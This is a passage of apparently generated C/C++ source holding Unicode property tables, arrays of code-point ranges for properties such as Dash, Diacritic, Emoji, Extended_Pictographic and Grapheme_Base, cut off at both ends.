{0x2CD1, 0x2CD1}, {0x2CD3, 0x2CD3}, {0x2CD5, 0x2CD5}, {0x2CD7, 0x2CD7}, {0x2CD9, 0x2CD9}, {0x2CDB, 0x2CDB}, {0x2CDD, 0x2CDD}, {0x2CDF, 0x2CDF}, {0x2CE1, 0x2CE1}, {0x2CE3, 0x2CE3}, {0x2CEC, 0x2CEC}, {0x2CEE, 0x2CEE}, {0x2CF3, 0x2CF3}, {0x2D00, 0x2D25}, {0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0xA641, 0xA641}, {0xA643, 0xA643}, {0xA645, 0xA645}, {0xA647, 0xA647}, {0xA649, 0xA649}, {0xA64B, 0xA64B}, {0xA64D, 0xA64D}, {0xA64F, 0xA64F}, {0xA651, 0xA651}, {0xA653, 0xA653}, {0xA655, 0xA655}, {0xA657, 0xA657}, {0xA659, 0xA659}, {0xA65B, 0xA65B}, {0xA65D, 0xA65D}, {0xA65F, 0xA65F}, {0xA661, 0xA661}, {0xA663, 0xA663}, {0xA665, 0xA665}, {0xA667, 0xA667}, {0xA669, 0xA669}, {0xA66B, 0xA66B}, {0xA66D, 0xA66D}, {0xA681, 0xA681}, {0xA683, 0xA683}, {0xA685, 0xA685}, {0xA687, 0xA687}, {0xA689, 0xA689}, {0xA68B, 0xA68B}, {0xA68D, 0xA68D}, {0xA68F, 0xA68F}, {0xA691, 0xA691}, {0xA693, 0xA693}, {0xA695, 0xA695}, {0xA697, 0xA697}, {0xA699, 0xA699}, {0xA69B, 0xA69B}, {0xA723, 0xA723}, {0xA725, 0xA725}, {0xA727, 0xA727}, {0xA729, 0xA729}, {0xA72B, 0xA72B}, {0xA72D, 0xA72D}, {0xA72F, 0xA72F}, {0xA733, 0xA733}, {0xA735, 0xA735}, {0xA737, 0xA737}, {0xA739, 0xA739}, {0xA73B, 0xA73B}, {0xA73D, 0xA73D}, {0xA73F, 0xA73F}, {0xA741, 0xA741}, {0xA743, 0xA743}, {0xA745, 0xA745}, {0xA747, 0xA747}, {0xA749, 0xA749}, {0xA74B, 0xA74B}, {0xA74D, 0xA74D}, {0xA74F, 0xA74F}, {0xA751, 0xA751}, {0xA753, 0xA753}, {0xA755, 0xA755}, {0xA757, 0xA757}, {0xA759, 0xA759}, {0xA75B, 0xA75B}, {0xA75D, 0xA75D}, {0xA75F, 0xA75F}, {0xA761, 0xA761}, {0xA763, 0xA763}, {0xA765, 0xA765}, {0xA767, 0xA767}, {0xA769, 0xA769}, {0xA76B, 0xA76B}, {0xA76D, 0xA76D}, {0xA76F, 0xA76F}, {0xA77A, 0xA77A}, {0xA77C, 0xA77C}, {0xA77F, 0xA77F}, {0xA781, 0xA781}, {0xA783, 0xA783}, {0xA785, 0xA785}, {0xA787, 0xA787}, {0xA78C, 0xA78C}, {0xA791, 0xA791}, {0xA793, 0xA794}, {0xA797, 0xA797}, {0xA799, 0xA799}, {0xA79B, 0xA79B}, {0xA79D, 0xA79D}, {0xA79F, 0xA79F}, {0xA7A1, 0xA7A1}, {0xA7A3, 0xA7A3}, {0xA7A5, 0xA7A5}, {0xA7A7, 0xA7A7}, {0xA7A9, 0xA7A9}, {0xA7B5, 0xA7B5}, {0xA7B7, 0xA7B7}, {0xA7B9, 0xA7B9}, {0xA7BB, 0xA7BB}, {0xA7BD, 0xA7BD}, {0xA7BF, 0xA7BF}, {0xA7C1, 0xA7C1}, {0xA7C3, 0xA7C3}, {0xA7C8, 0xA7C8}, {0xA7CA, 0xA7CA}, {0xA7CD, 0xA7CD}, {0xA7CF, 0xA7CF}, {0xA7D1, 0xA7D1}, {0xA7D3, 0xA7D3}, {0xA7D5, 0xA7D5}, {0xA7D7, 0xA7D7}, {0xA7D9, 0xA7D9}, {0xA7DB, 0xA7DB}, {0xA7F6, 0xA7F6}, {0xAB53, 0xAB53}, {0xAB70, 0xABBF}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17}, {0xFF41, 0xFF5A}, {0x10428, 0x1044F}, {0x104D8, 0x104FB}, {0x10597, 0x105A1}, {0x105A3, 0x105B1}, {0x105B3, 0x105B9}, {0x105BB, 0x105BC}, {0x10CC0, 0x10CF2}, {0x10D70, 0x10D85}, {0x118C0, 0x118DF}, {0x16E60, 0x16E7F}, {0x16EBB, 0x16ED3}, {0x1E922, 0x1E943}, }; static const UnicodeRange kRanges_Dash[] = { {0x2D, 0x2D}, {0x58A, 0x58A}, {0x5BE, 0x5BE}, {0x1400, 0x1400}, {0x1806, 0x1806}, {0x2010, 0x2015}, {0x2053, 0x2053}, {0x207B, 0x207B}, {0x208B, 0x208B}, {0x2212, 0x2212}, {0x2E17, 0x2E17}, {0x2E1A, 0x2E1A}, {0x2E3A, 0x2E3B}, {0x2E40, 0x2E40}, {0x2E5D, 0x2E5D}, {0x301C, 0x301C}, {0x3030, 0x3030}, {0x30A0, 0x30A0}, {0xFE31, 0xFE32}, {0xFE58, 0xFE58}, {0xFE63, 0xFE63}, {0xFF0D, 0xFF0D}, {0x10D6E, 0x10D6E}, {0x10EAD, 0x10EAD}, }; static const UnicodeRange kRanges_Default_Ignorable_Code_Point[] = { {0xAD, 0xAD}, {0x34F, 0x34F}, {0x61C, 0x61C}, {0x115F, 0x1160}, {0x17B4, 0x17B5}, {0x180B, 0x180F}, {0x200B, 0x200F}, {0x202A, 0x202E}, {0x2060, 0x206F}, {0x3164, 0x3164}, {0xFE00, 0xFE0F}, {0xFEFF, 0xFEFF}, {0xFFA0, 0xFFA0}, {0xFFF0, 0xFFF8}, {0x1BCA0, 0x1BCA3}, {0x1D173, 0x1D17A}, {0xE0000, 0xE0FFF}, }; static const UnicodeRange kRanges_Deprecated[] = { {0x149, 0x149}, {0x673, 0x673}, {0xF77, 0xF77}, {0xF79, 0xF79}, {0x17A3, 0x17A4}, {0x206A, 0x206F}, {0x2329, 0x232A}, {0xE0001, 0xE0001}, }; static const UnicodeRange kRanges_Diacritic[] = { {0x5E, 0x5E}, {0x60, 0x60}, {0xA8, 0xA8}, {0xAF, 0xAF}, {0xB4, 0xB4}, {0xB7, 0xB8}, {0x2B0, 0x34E}, {0x350, 0x357}, {0x35D, 0x362}, {0x374, 0x375}, {0x37A, 0x37A}, {0x384, 0x385}, {0x483, 0x487}, {0x559, 0x559}, {0x591, 0x5BD}, {0x5BF, 0x5BF}, {0x5C1, 0x5C2}, {0x5C4, 0x5C5}, {0x5C7, 0x5C7}, {0x64B, 0x652}, {0x657, 0x658}, {0x6DF, 0x6E0}, {0x6E5, 0x6E6}, {0x6EA, 0x6EC}, {0x730, 0x74A}, {0x7A6, 0x7B0}, {0x7EB, 0x7F5}, {0x818, 0x819}, {0x898, 0x89F}, {0x8C9, 0x8D2}, {0x8E3, 0x8FE}, {0x93C, 0x93C}, {0x94D, 0x94D}, {0x951, 0x954}, {0x971, 0x971}, {0x9BC, 0x9BC}, {0x9CD, 0x9CD}, {0xA3C, 0xA3C}, {0xA4D, 0xA4D}, {0xABC, 0xABC}, {0xACD, 0xACD}, {0xAFD, 0xAFF}, {0xB3C, 0xB3C}, {0xB4D, 0xB4D}, {0xB55, 0xB55}, {0xBCD, 0xBCD}, {0xC3C, 0xC3C}, {0xC4D, 0xC4D}, {0xCBC, 0xCBC}, {0xCCD, 0xCCD}, {0xD3B, 0xD3C}, {0xD4D, 0xD4D}, {0xDCA, 0xDCA}, {0xE3A, 0xE3A}, {0xE47, 0xE4C}, {0xE4E, 0xE4E}, {0xEBA, 0xEBA}, {0xEC8, 0xECC}, {0xF18, 0xF19}, {0xF35, 0xF35}, {0xF37, 0xF37}, {0xF39, 0xF39}, {0xF3E, 0xF3F}, {0xF82, 0xF84}, {0xF86, 0xF87}, {0xFC6, 0xFC6}, {0x1037, 0x1037}, {0x1039, 0x103A}, {0x1063, 0x1064}, {0x1069, 0x106D}, {0x1087, 0x108D}, {0x108F, 0x108F}, {0x109A, 0x109B}, {0x135D, 0x135F}, {0x1714, 0x1715}, {0x1734, 0x1734}, {0x17C9, 0x17D3}, {0x17DD, 0x17DD}, {0x1939, 0x193B}, {0x1A60, 0x1A60}, {0x1A75, 0x1A7C}, {0x1A7F, 0x1A7F}, {0x1AB0, 0x1ABE}, {0x1AC1, 0x1ACB}, {0x1ACF, 0x1ADD}, {0x1AE0, 0x1AEB}, {0x1B34, 0x1B34}, {0x1B44, 0x1B44}, {0x1B6B, 0x1B73}, {0x1BAA, 0x1BAB}, {0x1BE6, 0x1BE6}, {0x1BF2, 0x1BF3}, {0x1C36, 0x1C37}, {0x1C78, 0x1C7D}, {0x1CD0, 0x1CE8}, {0x1CED, 0x1CED}, {0x1CF4, 0x1CF4}, {0x1CF7, 0x1CF9}, {0x1D2C, 0x1D6A}, {0x1D9B, 0x1DBE}, {0x1DC4, 0x1DCF}, {0x1DF5, 0x1DFF}, {0x1FBD, 0x1FBD}, {0x1FBF, 0x1FC1}, {0x1FCD, 0x1FCF}, {0x1FDD, 0x1FDF}, {0x1FED, 0x1FEF}, {0x1FFD, 0x1FFE}, {0x2CEF, 0x2CF1}, {0x2E2F, 0x2E2F}, {0x302A, 0x302F}, {0x3099, 0x309C}, {0x30FC, 0x30FC}, {0xA66F, 0xA66F}, {0xA67C, 0xA67D}, {0xA67F, 0xA67F}, {0xA69C, 0xA69D}, {0xA6F0, 0xA6F1}, {0xA700, 0xA721}, {0xA788, 0xA78A}, {0xA7F1, 0xA7F1}, {0xA7F8, 0xA7F9}, {0xA806, 0xA806}, {0xA82C, 0xA82C}, {0xA8C4, 0xA8C4}, {0xA8E0, 0xA8F1}, {0xA92B, 0xA92E}, {0xA953, 0xA953}, {0xA9B3, 0xA9B3}, {0xA9C0, 0xA9C0}, {0xA9E5, 0xA9E5}, {0xAA7B, 0xAA7D}, {0xAABF, 0xAAC2}, {0xAAF6, 0xAAF6}, {0xAB5B, 0xAB5F}, {0xAB69, 0xAB6B}, {0xABEC, 0xABED}, {0xFB1E, 0xFB1E}, {0xFE20, 0xFE2F}, {0xFF3E, 0xFF3E}, {0xFF40, 0xFF40}, {0xFF70, 0xFF70}, {0xFF9E, 0xFF9F}, {0xFFE3, 0xFFE3}, {0x102E0, 0x102E0}, {0x10780, 0x10785}, {0x10787, 0x107B0}, {0x107B2, 0x107BA}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A3F}, {0x10AE5, 0x10AE6}, {0x10D22, 0x10D27}, {0x10D4E, 0x10D4E}, {0x10D69, 0x10D6D}, {0x10EFA, 0x10EFA}, {0x10EFD, 0x10EFF}, {0x10F46, 0x10F50}, {0x10F82, 0x10F85}, {0x11046, 0x11046}, {0x11070, 0x11070}, {0x110B9, 0x110BA}, {0x11133, 0x11134}, {0x11173, 0x11173}, {0x111C0, 0x111C0}, {0x111CA, 0x111CC}, {0x11235, 0x11236}, {0x112E9, 0x112EA}, {0x1133B, 0x1133C}, {0x1134D, 0x1134D}, {0x11366, 0x1136C}, {0x11370, 0x11374}, {0x113CE, 0x113D0}, {0x113D2, 0x113D3}, {0x113E1, 0x113E2}, {0x11442, 0x11442}, {0x11446, 0x11446}, {0x114C2, 0x114C3}, {0x115BF, 0x115C0}, {0x1163F, 0x1163F}, {0x116B6, 0x116B7}, {0x1172B, 0x1172B}, {0x11839, 0x1183A}, {0x1193D, 0x1193E}, {0x11943, 0x11943}, {0x119E0, 0x119E0}, {0x11A34, 0x11A34}, {0x11A47, 0x11A47}, {0x11A99, 0x11A99}, {0x11C3F, 0x11C3F}, {0x11D42, 0x11D42}, {0x11D44, 0x11D45}, {0x11D97, 0x11D97}, {0x11DD9, 0x11DD9}, {0x11F41, 0x11F42}, {0x11F5A, 0x11F5A}, {0x13447, 0x13455}, {0x1612F, 0x1612F}, {0x16AF0, 0x16AF4}, {0x16B30, 0x16B36}, {0x16D6B, 0x16D6C}, {0x16F8F, 0x16F9F}, {0x16FF0, 0x16FF1}, {0x1AFF0, 0x1AFF3}, {0x1AFF5, 0x1AFFB}, {0x1AFFD, 0x1AFFE}, {0x1CF00, 0x1CF2D}, {0x1CF30, 0x1CF46}, {0x1D167, 0x1D169}, {0x1D16D, 0x1D172}, {0x1D17B, 0x1D182}, {0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD}, {0x1E030, 0x1E06D}, {0x1E130, 0x1E136}, {0x1E2AE, 0x1E2AE}, {0x1E2EC, 0x1E2EF}, {0x1E5EE, 0x1E5EF}, {0x1E8D0, 0x1E8D6}, {0x1E944, 0x1E946}, {0x1E948, 0x1E94A}, }; static const UnicodeRange kRanges_Emoji[] = { {0x23, 0x23}, {0x2A, 0x2A}, {0x30, 0x39}, {0xA9, 0xA9}, {0xAE, 0xAE}, {0x203C, 0x203C}, {0x2049, 0x2049}, {0x2122, 0x2122}, {0x2139, 0x2139}, {0x2194, 0x2199}, {0x21A9, 0x21AA}, {0x231A, 0x231B}, {0x2328, 0x2328}, {0x23CF, 0x23CF}, {0x23E9, 0x23F3}, {0x23F8, 0x23FA}, {0x24C2, 0x24C2}, {0x25AA, 0x25AB}, {0x25B6, 0x25B6}, {0x25C0, 0x25C0}, {0x25FB, 0x25FE}, {0x2600, 0x2604}, {0x260E, 0x260E}, {0x2611, 0x2611}, {0x2614, 0x2615}, {0x2618, 0x2618}, {0x261D, 0x261D}, {0x2620, 0x2620}, {0x2622, 0x2623}, {0x2626, 0x2626}, {0x262A, 0x262A}, {0x262E, 0x262F}, {0x2638, 0x263A}, {0x2640, 0x2640}, {0x2642, 0x2642}, {0x2648, 0x2653}, {0x265F, 0x2660}, {0x2663, 0x2663}, {0x2665, 0x2666}, {0x2668, 0x2668}, {0x267B, 0x267B}, {0x267E, 0x267F}, {0x2692, 0x2697}, {0x2699, 0x2699}, {0x269B, 0x269C}, {0x26A0, 0x26A1}, {0x26A7, 0x26A7}, {0x26AA, 0x26AB}, {0x26B0, 0x26B1}, {0x26BD, 0x26BE}, {0x26C4, 0x26C5}, {0x26C8, 0x26C8}, {0x26CE, 0x26CF}, {0x26D1, 0x26D1}, {0x26D3, 0x26D4}, {0x26E9, 0x26EA}, {0x26F0, 0x26F5}, {0x26F7, 0x26FA}, {0x26FD, 0x26FD}, {0x2702, 0x2702}, {0x2705, 0x2705}, {0x2708, 0x270D}, {0x270F, 0x270F}, {0x2712, 0x2712}, {0x2714, 0x2714}, {0x2716, 0x2716}, {0x271D, 0x271D}, {0x2721, 0x2721}, {0x2728, 0x2728}, {0x2733, 0x2734}, {0x2744, 0x2744}, {0x2747, 0x2747}, {0x274C, 0x274C}, {0x274E, 0x274E}, {0x2753, 0x2755}, {0x2757, 0x2757}, {0x2763, 0x2764}, {0x2795, 0x2797}, {0x27A1, 0x27A1}, {0x27B0, 0x27B0}, {0x27BF, 0x27BF}, {0x2934, 0x2935}, {0x2B05, 0x2B07}, {0x2B1B, 0x2B1C}, {0x2B50, 0x2B50}, {0x2B55, 0x2B55}, {0x3030, 0x3030}, {0x303D, 0x303D}, {0x3297, 0x3297}, {0x3299, 0x3299}, {0x1F004, 0x1F004}, {0x1F0CF, 0x1F0CF}, {0x1F170, 0x1F171}, {0x1F17E, 0x1F17F}, {0x1F18E, 0x1F18E}, {0x1F191, 0x1F19A}, {0x1F1E6, 0x1F1FF}, {0x1F201, 0x1F202}, {0x1F21A, 0x1F21A}, {0x1F22F, 0x1F22F}, {0x1F232, 0x1F23A}, {0x1F250, 0x1F251}, {0x1F300, 0x1F321}, {0x1F324, 0x1F393}, {0x1F396, 0x1F397}, {0x1F399, 0x1F39B}, {0x1F39E, 0x1F3F0}, {0x1F3F3, 0x1F3F5}, {0x1F3F7, 0x1F4FD}, {0x1F4FF, 0x1F53D}, {0x1F549, 0x1F54E}, {0x1F550, 0x1F567}, {0x1F56F, 0x1F570}, {0x1F573, 0x1F57A}, {0x1F587, 0x1F587}, {0x1F58A, 0x1F58D}, {0x1F590, 0x1F590}, {0x1F595, 0x1F596}, {0x1F5A4, 0x1F5A5}, {0x1F5A8, 0x1F5A8}, {0x1F5B1, 0x1F5B2}, {0x1F5BC, 0x1F5BC}, {0x1F5C2, 0x1F5C4}, {0x1F5D1, 0x1F5D3}, {0x1F5DC, 0x1F5DE}, {0x1F5E1, 0x1F5E1}, {0x1F5E3, 0x1F5E3}, {0x1F5E8, 0x1F5E8}, {0x1F5EF, 0x1F5EF}, {0x1F5F3, 0x1F5F3}, {0x1F5FA, 0x1F64F}, {0x1F680, 0x1F6C5}, {0x1F6CB, 0x1F6D2}, {0x1F6D5, 0x1F6D8}, {0x1F6DC, 0x1F6E5}, {0x1F6E9, 0x1F6E9}, {0x1F6EB, 0x1F6EC}, {0x1F6F0, 0x1F6F0}, {0x1F6F3, 0x1F6FC}, {0x1F7E0, 0x1F7EB}, {0x1F7F0, 0x1F7F0}, {0x1F90C, 0x1F93A}, {0x1F93C, 0x1F945}, {0x1F947, 0x1F9FF}, {0x1FA70, 0x1FA7C}, {0x1FA80, 0x1FA8A}, {0x1FA8E, 0x1FAC6}, {0x1FAC8, 0x1FAC8}, {0x1FACD, 0x1FADC}, {0x1FADF, 0x1FAEA}, {0x1FAEF, 0x1FAF8}, }; static const UnicodeRange kRanges_Emoji_Component[] = { {0x23, 0x23}, {0x2A, 0x2A}, {0x30, 0x39}, {0x200D, 0x200D}, {0x20E3, 0x20E3}, {0xFE0F, 0xFE0F}, {0x1F1E6, 0x1F1FF}, {0x1F3FB, 0x1F3FF}, {0x1F9B0, 0x1F9B3}, {0xE0020, 0xE007F}, }; static const UnicodeRange kRanges_Emoji_Modifier[] = { {0x1F3FB, 0x1F3FF}, }; static const UnicodeRange kRanges_Emoji_Modifier_Base[] = { {0x261D, 0x261D}, {0x26F9, 0x26F9}, {0x270A, 0x270D}, {0x1F385, 0x1F385}, {0x1F3C2, 0x1F3C4}, {0x1F3C7, 0x1F3C7}, {0x1F3CA, 0x1F3CC}, {0x1F442, 0x1F443}, {0x1F446, 0x1F450}, {0x1F466, 0x1F478}, {0x1F47C, 0x1F47C}, {0x1F481, 0x1F483}, {0x1F485, 0x1F487}, {0x1F48F, 0x1F48F}, {0x1F491, 0x1F491}, {0x1F4AA, 0x1F4AA}, {0x1F574, 0x1F575}, {0x1F57A, 0x1F57A}, {0x1F590, 0x1F590}, {0x1F595, 0x1F596}, {0x1F645, 0x1F647}, {0x1F64B, 0x1F64F}, {0x1F6A3, 0x1F6A3}, {0x1F6B4, 0x1F6B6}, {0x1F6C0, 0x1F6C0}, {0x1F6CC, 0x1F6CC}, {0x1F90C, 0x1F90C}, {0x1F90F, 0x1F90F}, {0x1F918, 0x1F91F}, {0x1F926, 0x1F926}, {0x1F930, 0x1F939}, {0x1F93C, 0x1F93E}, {0x1F977, 0x1F977}, {0x1F9B5, 0x1F9B6}, {0x1F9B8, 0x1F9B9}, {0x1F9BB, 0x1F9BB}, {0x1F9CD, 0x1F9CF}, {0x1F9D1, 0x1F9DD}, {0x1FAC3, 0x1FAC5}, {0x1FAF0, 0x1FAF8}, }; static const UnicodeRange kRanges_Emoji_Presentation[] = { {0x231A, 0x231B}, {0x23E9, 0x23EC}, {0x23F0, 0x23F0}, {0x23F3, 0x23F3}, {0x25FD, 0x25FE}, {0x2614, 0x2615}, {0x2648, 0x2653}, {0x267F, 0x267F}, {0x2693, 0x2693}, {0x26A1, 0x26A1}, {0x26AA, 0x26AB}, {0x26BD, 0x26BE}, {0x26C4, 0x26C5}, {0x26CE, 0x26CE}, {0x26D4, 0x26D4}, {0x26EA, 0x26EA}, {0x26F2, 0x26F3}, {0x26F5, 0x26F5}, {0x26FA, 0x26FA}, {0x26FD, 0x26FD}, {0x2705, 0x2705}, {0x270A, 0x270B}, {0x2728, 0x2728}, {0x274C, 0x274C}, {0x274E, 0x274E}, {0x2753, 0x2755}, {0x2757, 0x2757}, {0x2795, 0x2797}, {0x27B0, 0x27B0}, {0x27BF, 0x27BF}, {0x2B1B, 0x2B1C}, {0x2B50, 0x2B50}, {0x2B55, 0x2B55}, {0x1F004, 0x1F004}, {0x1F0CF, 0x1F0CF}, {0x1F18E, 0x1F18E}, {0x1F191, 0x1F19A}, {0x1F1E6, 0x1F1FF}, {0x1F201, 0x1F201}, {0x1F21A, 0x1F21A}, {0x1F22F, 0x1F22F}, {0x1F232, 0x1F236}, {0x1F238, 0x1F23A}, {0x1F250, 0x1F251}, {0x1F300, 0x1F320}, {0x1F32D, 0x1F335}, {0x1F337, 0x1F37C}, {0x1F37E, 0x1F393}, {0x1F3A0, 0x1F3CA}, {0x1F3CF, 0x1F3D3}, {0x1F3E0, 0x1F3F0}, {0x1F3F4, 0x1F3F4}, {0x1F3F8, 0x1F43E}, {0x1F440, 0x1F440}, {0x1F442, 0x1F4FC}, {0x1F4FF, 0x1F53D}, {0x1F54B, 0x1F54E}, {0x1F550, 0x1F567}, {0x1F57A, 0x1F57A}, {0x1F595, 0x1F596}, {0x1F5A4, 0x1F5A4}, {0x1F5FB, 0x1F64F}, {0x1F680, 0x1F6C5}, {0x1F6CC, 0x1F6CC}, {0x1F6D0, 0x1F6D2}, {0x1F6D5, 0x1F6D8}, {0x1F6DC, 0x1F6DF}, {0x1F6EB, 0x1F6EC}, {0x1F6F4, 0x1F6FC}, {0x1F7E0, 0x1F7EB}, {0x1F7F0, 0x1F7F0}, {0x1F90C, 0x1F93A}, {0x1F93C, 0x1F945}, {0x1F947, 0x1F9FF}, {0x1FA70, 0x1FA7C}, {0x1FA80, 0x1FA8A}, {0x1FA8E, 0x1FAC6}, {0x1FAC8, 0x1FAC8}, {0x1FACD, 0x1FADC}, {0x1FADF, 0x1FAEA}, {0x1FAEF, 0x1FAF8}, }; static const UnicodeRange kRanges_Extended_Pictographic[] = { {0xA9, 0xA9}, {0xAE, 0xAE}, {0x203C, 0x203C}, {0x2049, 0x2049}, {0x2122, 0x2122}, {0x2139, 0x2139}, {0x2194, 0x2199}, {0x21A9, 0x21AA}, {0x231A, 0x231B}, {0x2328, 0x2328}, {0x23CF, 0x23CF}, {0x23E9, 0x23F3}, {0x23F8, 0x23FA}, {0x24C2, 0x24C2}, {0x25AA, 0x25AB}, {0x25B6, 0x25B6}, {0x25C0, 0x25C0}, {0x25FB, 0x25FE}, {0x2600, 0x2604}, {0x260E, 0x260E}, {0x2611, 0x2611}, {0x2614, 0x2615}, {0x2618, 0x2618}, {0x261D, 0x261D}, {0x2620, 0x2620}, {0x2622, 0x2623}, {0x2626, 0x2626}, {0x262A, 0x262A}, {0x262E, 0x262F}, {0x2638, 0x263A}, {0x2640, 0x2640}, {0x2642, 0x2642}, {0x2648, 0x2653}, {0x265F, 0x2660}, {0x2663, 0x2663}, {0x2665, 0x2666}, {0x2668, 0x2668}, {0x267B, 0x267B}, {0x267E, 0x267F}, {0x2692, 0x2697}, {0x2699, 0x2699}, {0x269B, 0x269C}, {0x26A0, 0x26A1}, {0x26A7, 0x26A7}, {0x26AA, 0x26AB}, {0x26B0, 0x26B1}, {0x26BD, 0x26BE}, {0x26C4, 0x26C5}, {0x26C8, 0x26C8}, {0x26CE, 0x26CF}, {0x26D1, 0x26D1}, {0x26D3, 0x26D4}, {0x26E9, 0x26EA}, {0x26F0, 0x26F5}, {0x26F7, 0x26FA}, {0x26FD, 0x26FD}, {0x2702, 0x2702}, {0x2705, 0x2705}, {0x2708, 0x270D}, {0x270F, 0x270F}, {0x2712, 0x2712}, {0x2714, 0x2714}, {0x2716, 0x2716}, {0x271D, 0x271D}, {0x2721, 0x2721}, {0x2728, 0x2728}, {0x2733, 0x2734}, {0x2744, 0x2744}, {0x2747, 0x2747}, {0x274C, 0x274C}, {0x274E, 0x274E}, {0x2753, 0x2755}, {0x2757, 0x2757}, {0x2763, 0x2764}, {0x2795, 0x2797}, {0x27A1, 0x27A1}, {0x27B0, 0x27B0}, {0x27BF, 0x27BF}, {0x2934, 0x2935}, {0x2B05, 0x2B07}, {0x2B1B, 0x2B1C}, {0x2B50, 0x2B50}, {0x2B55, 0x2B55}, {0x3030, 0x3030}, {0x303D, 0x303D}, {0x3297, 0x3297}, {0x3299, 0x3299}, {0x1F004, 0x1F004}, {0x1F02C, 0x1F02F}, {0x1F094, 0x1F09F}, {0x1F0AF, 0x1F0B0}, {0x1F0C0, 0x1F0C0}, {0x1F0CF, 0x1F0D0}, {0x1F0F6, 0x1F0FF}, {0x1F170, 0x1F171}, {0x1F17E, 0x1F17F}, {0x1F18E, 0x1F18E}, {0x1F191, 0x1F19A}, {0x1F1AE, 0x1F1E5}, {0x1F201, 0x1F20F}, {0x1F21A, 0x1F21A}, {0x1F22F, 0x1F22F}, {0x1F232, 0x1F23A}, {0x1F23C, 0x1F23F}, {0x1F249, 0x1F25F}, {0x1F266, 0x1F321}, {0x1F324, 0x1F393}, {0x1F396, 0x1F397}, {0x1F399, 0x1F39B}, {0x1F39E, 0x1F3F0}, {0x1F3F3, 0x1F3F5}, {0x1F3F7, 0x1F3FA}, {0x1F400, 0x1F4FD}, {0x1F4FF, 0x1F53D}, {0x1F549, 0x1F54E}, {0x1F550, 0x1F567}, {0x1F56F, 0x1F570}, {0x1F573, 0x1F57A}, {0x1F587, 0x1F587}, {0x1F58A, 0x1F58D}, {0x1F590, 0x1F590}, {0x1F595, 0x1F596}, {0x1F5A4, 0x1F5A5}, {0x1F5A8, 0x1F5A8}, {0x1F5B1, 0x1F5B2}, {0x1F5BC, 0x1F5BC}, {0x1F5C2, 0x1F5C4}, {0x1F5D1, 0x1F5D3}, {0x1F5DC, 0x1F5DE}, {0x1F5E1, 0x1F5E1}, {0x1F5E3, 0x1F5E3}, {0x1F5E8, 0x1F5E8}, {0x1F5EF, 0x1F5EF}, {0x1F5F3, 0x1F5F3}, {0x1F5FA, 0x1F64F}, {0x1F680, 0x1F6C5}, {0x1F6CB, 0x1F6D2}, {0x1F6D5, 0x1F6E5}, {0x1F6E9, 0x1F6E9}, {0x1F6EB, 0x1F6F0}, {0x1F6F3, 0x1F6FF}, {0x1F7DA, 0x1F7FF}, {0x1F80C, 0x1F80F}, {0x1F848, 0x1F84F}, {0x1F85A, 0x1F85F}, {0x1F888, 0x1F88F}, {0x1F8AE, 0x1F8AF}, {0x1F8BC, 0x1F8BF}, {0x1F8C2, 0x1F8CF}, {0x1F8D9, 0x1F8FF}, {0x1F90C, 0x1F93A}, {0x1F93C, 0x1F945}, {0x1F947, 0x1F9FF}, {0x1FA58, 0x1FA5F}, {0x1FA6E, 0x1FAFF}, {0x1FC00, 0x1FFFD}, }; static const UnicodeRange kRanges_Extender[] = { {0xB7, 0xB7}, {0x2D0, 0x2D1}, {0x640, 0x640}, {0x7FA, 0x7FA}, {0xA71, 0xA71}, {0xAFB, 0xAFB}, {0xB55, 0xB55}, {0xE46, 0xE46}, {0xEC6, 0xEC6}, {0x180A, 0x180A}, {0x1843, 0x1843}, {0x1AA7, 0x1AA7}, {0x1C36, 0x1C36}, {0x1C7B, 0x1C7B}, {0x3005, 0x3005}, {0x3031, 0x3035}, {0x309D, 0x309E}, {0x30FC, 0x30FE}, {0xA015, 0xA015}, {0xA60C, 0xA60C}, {0xA9CF, 0xA9CF}, {0xA9E6, 0xA9E6}, {0xAA70, 0xAA70}, {0xAADD, 0xAADD}, {0xAAF3, 0xAAF4}, {0xFF70, 0xFF70}, {0x10781, 0x10782}, {0x10D4E, 0x10D4E}, {0x10D6A, 0x10D6A}, {0x10D6F, 0x10D6F}, {0x11237, 0x11237}, {0x1135D, 0x1135D}, {0x113D2, 0x113D3}, {0x115C6, 0x115C8}, {0x11A98, 0x11A98}, {0x11DD9, 0x11DD9}, {0x16B42, 0x16B43}, {0x16FE0, 0x16FE1}, {0x16FE3, 0x16FE3}, {0x16FF2, 0x16FF3}, {0x1E13C, 0x1E13D}, {0x1E5EF, 0x1E5EF}, {0x1E944, 0x1E946}, }; static const UnicodeRange kRanges_Grapheme_Base[] = { {0x20, 0x7E}, {0xA0, 0xAC}, {0xAE, 0x2FF}, {0x370, 0x377}, {0x37A, 0x37F}, {0x384, 0x38A}, {0x38C, 0x38C}, {0x38E, 0x3A1}, {0x3A3, 0x482}, {0x48A, 0x52F}, {0x531, 0x556}, {0x559, 0x58A}, {0x58D, 0x58F}, {0x5BE, 0x5BE}, {0x5C0, 0x5C0}, {0x5C3, 0x5C3}, {0x5C6, 0x5C6}, {0x5D0, 0x5EA}, {0x5EF, 0x5F4}, {0x606, 0x60F}, {0x61B, 0x61B}, {0x61D, 0x64A}, {0x660, 0x66F}, {0x671, 0x6D5}, {0x6DE, 0x6DE}, {0x6E5, 0x6E6}, {0x6E9, 0x6E9}, {0x6EE, 0x70D}, {0x710, 0x710}, {0x712, 0x72F}, {0x74D, 0x7A5}, {0x7B1, 0x7B1}, {0x7C0, 0x7EA}, {0x7F4, 0x7FA}, {0x7FE, 0x815}, {0x81A, 0x81A}, {0x824, 0x824}, {0x828, 0x828}, {0x830, 0x83E}, {0x840, 0x858}, {0x85E, 0x85E}, {0x860, 0x86A}, {0x870, 0x88F}, {0x8A0, 0x8C9}, {0x903, 0x939}, {0x93B, 0x93B}, {0x93D, 0x940}, {0x949, 0x94C}, {0x94E, 0x950}, {0x958, 0x961}, {0x964, 0x980}, {0x982, 0x983}, {0x985, 0x98C}, {0x98F, 0x990}, {0x993, 0x9A8}, {0x9AA, 0x9B0}, {0x9B2, 0x9B2}, {0x9B6, 0x9B9}, {0x9BD, 0x9BD}, {0x9BF, 0x9C0}, {0x9C7, 0x9C8}, {0x9CB, 0x9CC}, {0x9CE, 0x9CE}, {0x9DC, 0x9DD}, {0x9DF, 0x9E1}, {0x9E6, 0x9FD}, {0xA03, 0xA03}, {0xA05, 0xA0A}, {0xA0F, 0xA10}, {0xA13, 0xA28}, {0xA2A, 0xA30}, {0xA32, 0xA33}, {0xA35, 0xA36}, {0xA38, 0xA39}, {0xA3E, 0xA40}, 